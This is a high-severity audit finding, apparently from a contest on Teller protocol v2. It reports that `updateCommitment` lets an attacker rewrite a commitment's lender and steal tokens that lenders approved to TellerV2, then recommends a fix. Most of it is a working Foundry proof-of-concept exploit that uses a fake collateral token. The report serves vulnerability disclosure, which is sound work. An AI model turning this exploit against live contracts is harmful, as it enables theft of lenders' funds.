immeas

high

# `LenderCommitmentForwarder::updateCommitment` allows lender to be changed

## Summary
An attacker can steal all the approved tokens from lenders having commitments. Even without commitments, all they need is to have `LenderCommitmentForwarder` approved as market forwarder and tokens approved to `TellerV2`.

## Vulnerability Detail
When creating a commitment, `msg.sender` is written as lender. However, there's no check in `updateCommitment` that lender isn't changed:

https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/LenderCommitmentForwarder.sol#L208-L222
```solidity
File: LenderCommitmentForwarder.sol

208:    function updateCommitment(
209:        uint256 _commitmentId,
210:        Commitment calldata _commitment
211:    ) public commitmentLender(_commitmentId) {
212:        require(
213:            _commitment.principalTokenAddress ==
214:                commitments[_commitmentId].principalTokenAddress,
215:            "Principal token address cannot be updated."
216:        );
217:        require(
218:            _commitment.marketId == commitments[_commitmentId].marketId,
219:            "Market Id cannot be updated."
220:        );
221:        // no checks that lender isn't changed
222:        commitments[_commitmentId] = _commitment;
```

Hence, an attacker can take any existing lender with a commitment and fake a commitment for all tokens they have approved to `TellerV2`. Then update the commitment to use them as lender.

Proof of concept:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { UpgradeableBeacon } from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";

import { TellerV2 } from "../contracts/TellerV2.sol";
import { CollateralManager } from "../contracts/CollateralManager.sol";
import { LenderCommitmentForwarder } from "../contracts/LenderCommitmentForwarder.sol";
import { CollateralEscrowV1 } from "../contracts/escrow/CollateralEscrowV1.sol";
import { Collateral, CollateralType } from "../contracts/interfaces/escrow/ICollateralEscrowV1.sol";

import { ReputationManagerMock } from "../contracts/mock/ReputationManagerMock.sol";
import { LenderManagerMock } from "../contracts/mock/LenderManagerMock.sol";
import { MarketRegistryMock } from "../contracts/mock/MarketRegistryMock.sol";

import {TestERC20Token} from "./tokens/TestERC20Token.sol";

import "lib/forge-std/src/Test.sol";

contract AttackerToken {
    uint8 public decimals = 18;
    
    uint256 amount;
    constructor(uint256 _amount) { amount = _amount; }
    function balanceOf(address ) public view returns(uint256) { return amount; }
    function approve(address , uint ) public view returns(bool) { return true; }
    function transferFrom(address , address , uint256 ) public returns(bool) { return true; }
}

contract StealLenderPrincipalTest is Test {

    MarketRegistryMock marketRegistry = new MarketRegistryMock();

    TellerV2 tellerV2;
    LenderCommitmentForwarder lenderCommitmentForwarder;
    CollateralManager collateralManager;
    
    TestERC20Token principalToken;

    address attacker = address(0x1111);
    address lender = address(0x2222);

    function setUp() public {
        tellerV2 = new TellerV2(address(0));

        lenderCommitmentForwarder = new LenderCommitmentForwarder(address(tellerV2),address(marketRegistry));
        
        collateralManager = new CollateralManager();
        collateralManager.initialize(address(new UpgradeableBeacon(address(new CollateralEscrowV1()))), address(tellerV2));

        address rm = address(new ReputationManagerMock());
        address lm = address(new LenderManagerMock());
        tellerV2.initialize(0, address(marketRegistry), rm, address(lenderCommitmentForwarder), address(collateralManager), lm);

        marketRegistry.setMarketOwner(address(this));
        marketRegistry.setMarketFeeRecipient(address(this));

        tellerV2.setTrustedMarketForwarder(0,address(lenderCommitmentForwarder));

        principalToken = new TestERC20Token("Principal Token", "PRIN", 1e18, 18);
        principalToken.transfer(lender,1e18);
    }

    function testStealLenderPrincipal() public {
        uint256 amount = 1e18;

        // normal lender that has other commitments
        // needs approval to lenderCommitmentForwarder and tellerV2
        vm.startPrank(lender);
        tellerV2.approveMarketForwarder(0,address(lenderCommitmentForwarder));
        principalToken.approve(address(tellerV2),amount);
        vm.stopPrank();

        /* -----BEGIN ATTACK----- */
        vm.startPrank(attacker);

        // fake collateral
        AttackerToken attackerToken = new AttackerToken(amount);

        LenderCommitmentForwarder.Commitment memory commitment = LenderCommitmentForwarder.Commitment({
            maxPrincipal: amount,
            expiration: type(uint32).max,
            maxDuration: 365 days,
            minInterestRate: 0,
            collateralTokenAddress: address(attackerToken),
            collateralTokenId: 0,
            maxPrincipalPerCollateralAmount: 1e18*1e18,
            collateralTokenType: LenderCommitmentForwarder.CommitmentCollateralType.ERC20,
            lender: attacker,
            marketId: 0,
            principalTokenAddress: address(principalToken)
        });

        // create fake commitment
        uint256 commitmentId = lenderCommitmentForwarder.createCommitment(commitment, new address[](0));
        
        // overwrite lender using update
        commitment.lender = lender;
        lenderCommitmentForwarder.updateCommitment(commitmentId, commitment);

        // do approval as borrower
        tellerV2.approveMarketForwarder(0,address(lenderCommitmentForwarder));
        
        // commence attack
        lenderCommitmentForwarder.acceptCommitment(
            commitmentId,
            amount, // principal amount
            amount, // collateral amount
            0,
            address(attackerToken),
            10_00,
            108 days
        );
        vm.stopPrank();
        /* -----END ATTACK----- */
        
        // attacker has principal - market fee
        assertEq(9*amount/10,principalToken.balanceOf(attacker));
    }
}
```

## Impact 
An attacker can steal any tokens a lender has approved to `TellerV2` given that the lender also has approved `LenderCommitmentForwarder` as market forwarder. Any lender having active commitments on `LenderCommitmentForwarder` will need ot have this since otherwise their commitments wouldn't be able to be accepted.

## Code Snippet
https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/LenderCommitmentForwarder.sol#L208-L222

## Tool used
Manual Review

## Recommendation
Don't allow lender to be changed with `updateCommitment`